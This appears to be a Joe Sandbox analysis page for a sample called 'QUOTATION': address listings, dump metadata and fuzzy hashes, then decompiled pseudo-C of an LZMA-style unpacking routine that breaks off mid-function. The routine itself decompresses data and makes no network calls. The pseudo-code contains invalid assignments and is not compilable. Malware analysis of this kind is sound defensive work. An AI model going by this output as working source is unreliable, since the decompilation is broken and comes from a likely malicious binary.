0x00000000
0x00406e2d
0x00000000
0x00406ac9
0x00406acc
0x00406b02
0x00406c32
0x00406c32
0x00406c32
0x00406c32
0x00406c35
0x00406c35
0x00406c38
0x00406c3a
0x00406ec4
0x00000000
0x00406ec4
0x00406c40
0x00406c43
0x00000000
0x00000000
0x00406c49
0x00406c4d
0x00406c50
0x00406c50
0x00406c50
0x00000000
0x00406c50
0x00406ace
0x00406ad0
0x00406ad2
0x00406ad4
0x00406ad7
0x00406ad8
0x00406ada
0x00406adc
0x00406adf
0x00406ae2
0x00406af8
0x00406afd
0x00406b35
0x00406b35
0x00406b39
0x00406b65
0x00406b67
0x00406b6e
0x00406b71
0x00406b74
0x00406b74
0x00406b79
0x00406b79
0x00406b7b
0x00406b7e
0x00406b85
0x00406b88
0x00406bb5
0x00406bb5
0x00406bb8
0x00406bbb
0x00406c2f
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bbd
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bdb
0x00406bde
0x00406bf7
0x00406bf9
0x00406bfc
0x00406bfd
0x00406c00
0x00406c02
0x00406c05
0x00406c07
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c15
0x00406c17
0x00406c17
0x00406c18
0x00406c1b
0x00406c1e
0x00406be0
0x00406be0
0x00406be8
0x00406bed
0x00406bef
0x00406bf2
0x00406bf2
0x00406c21
0x00406c28
0x00406bb2
0x00406bb2
0x00406bb2
0x00406bb2
0x00000000
0x00406c2a
0x00000000
0x00406c2a
0x00406c28
0x00406b3b
0x00406b3e
0x00406b40
0x00406b43
0x00406b46
0x00406b49
0x00406b4b
0x00406b4e
0x00406b51
0x00406b51
0x00406b54
0x00406b54
0x00406b57
0x00406b5e
0x00406b32
0x00406b32
0x00406b32
0x00406b32
0x00000000
0x00406b60
0x00000000
0x00406b60
0x00406b5e
0x00406ae4
0x00406ae7
0x00406ae9
0x00406aec
0x00000000
0x00000000
0x0040684b
0x0040684b
0x0040684f
0x00406e94
0x00000000
0x00406e94
0x00406855
0x00406858
0x0040685b
0x0040685e
0x00406861
0x00406864
0x00406867
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406874
0x00406874
0x00406874
0x00000000
0x00000000
0x004069d6
0x004069d6
0x004069da
0x00406ea0
0x00000000
0x00406ea0
0x004069e0
0x004069e3
0x004069e6
0x004069e9
0x004069eb
0x004069eb
0x004069eb
0x004069ee
0x004069f1
0x004069f4
0x004069f7
0x004069fa
0x004069fd
0x004069fe
0x00406a00
0x00406a00
0x00406a00
0x00406a03
0x00406a06
0x00406a09
0x00406a0c
0x00406a0c
0x00406a0c
0x00406a0f
0x00406a11
0x00406a11
0x00000000
0x00000000
0x00406c53
0x00406c53
0x00406c53
0x00406c57
0x00000000
0x00000000
0x00406c5d
0x00406c60
0x00406c63
0x00406c66
0x00406c68
0x00406c68
0x00406c68
0x00406c6b
0x00406c6e
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7b
0x00406c7d
0x00406c7d
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c90
0x00406c92
0x00406c95
0x00000000
0x00406c97
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00406c95
0x00406eca
0x00406eec
0x00406ef2
0x00406ef4
0x00406efb
0x00000000
0x00000000
0x004064f9
0x00406f01
0x00406f01
0x00000000

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec6a1127f337a9cd102a75f31ecac58d5a9bcb7082b0f725788ddd98255f1a75
Instruction ID: 64fae73fcf261b5a29c0697abf595a3f572636c651b32177eb72ec05398ad39b
Opcode Fuzzy Hash: ec6a1127f337a9cd102a75f31ecac58d5a9bcb7082b0f725788ddd98255f1a75
Instruction Fuzzy Hash: 39817831D04229DBEF24CFA8D8447ADBBB0FB44305F21816AD856BB2C1C7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406905 Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406905() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00406F09))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4)); // executed
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
